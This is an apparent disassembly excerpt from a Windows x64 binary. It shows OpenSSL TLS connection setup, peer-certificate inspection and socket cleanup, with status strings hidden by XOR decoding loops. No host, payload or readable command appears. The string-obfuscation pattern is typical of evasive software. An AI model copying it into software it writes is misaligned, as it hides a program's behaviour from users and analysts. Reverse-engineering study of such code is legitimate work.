cmp rbx, 0xf
jb 0x14008d820
jmp 0x14008d7c0
mov rcx, qword [0x1402440e8]
call qword [sym.imp.libssl_3_x64.dll_SSL_new]
mov qword [0x1402440d8], rax
test rax, rax
jne 0x14008d87f
movdqa xmm0, xmmword [0x14013e860]
movdqu xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x30], 0x100
lea eax, [rbx - 0x46]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0x10
jb 0x14008d860
mov byte [rsp + 0x31], 0
lea rdx, [rsp + 0x20]
jmp 0x14008d7ca
mov edx, dword [0x1402440b4]
mov rcx, rax
call qword [sym.imp.libssl_3_x64.dll_SSL_set_fd]
test eax, eax
jg 0x14008d8fb
movdqa xmm0, xmmword [0x14013e850]
movdqu xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x30], 0x100
nop word [rax + rax]
lea eax, [rbx - 0x46]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0x10
jb 0x14008d8b0
mov byte [rsp + 0x31], 0
lea rdx, [rsp + 0x20]
lea rcx, [0x140242520]
call fcn.14006cbd0
movsxd rcx, dword [0x1402440b4]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [0x1402440d8]
call qword [sym.imp.libssl_3_x64.dll_SSL_free]
jmp 0x14008d466
mov rcx, qword [0x1402440d8]
call qword [sym.imp.libssl_3_x64.dll_SSL_connect]
cmp eax, 0xffffffff
jne 0x14008d945
movdqa xmm0, xmmword [0x14013e840]
movdqu xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x30], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx - 0x46]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0x10
jb 0x14008d930
jmp 0x14008d8c0
mov rsi, qword [0x1402440d8]
mov rcx, rsi
call qword [sym.imp.libssl_3_x64.dll_SSL_get1_peer_certificate]
mov rdi, rax
test rax, rax
je 0x14008d9ec
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_X509_get_subject_name]
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.libcrypto_3_x64.dll_X509_NAME_oneline]
mov rcx, rax
call fcn.1400cc468
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_X509_get_issuer_name]
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.libcrypto_3_x64.dll_X509_NAME_oneline]
mov rcx, rax
call fcn.1400cc468
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_X509_free]
mov rcx, rsi
call qword [sym.imp.libssl_3_x64.dll_SSL_get_verify_result]
test eax, eax
je 0x14008d659
movdqa xmm0, xmmword [0x14013e1a0]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
mov rcx, rbx
nop
lea eax, [rcx + 0x34]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0xf
jb 0x14008d9d0
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
jmp 0x14008da2a
movdqa xmm0, xmmword [0x14013e380]
movdqu xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x48], 0x1004f36
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x34]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 0x12
jb 0x14008da10
mov byte [rsp + 0x4b], 0
lea rdx, [rsp + 0x38]
lea rcx, [0x140242520]
call fcn.14006cbd0
movdqa xmm0, xmmword [0x14013e830]
movdqu xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x30], 0x100
nop dword [rax + rax]
lea eax, [rbx - 0x46]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0x10
jb 0x14008da50
mov byte [rsp + 0x31], 0
lea rdx, [rsp + 0x20]
lea rcx, [0x140242520]
call fcn.14006cbd0
jmp 0x14008d473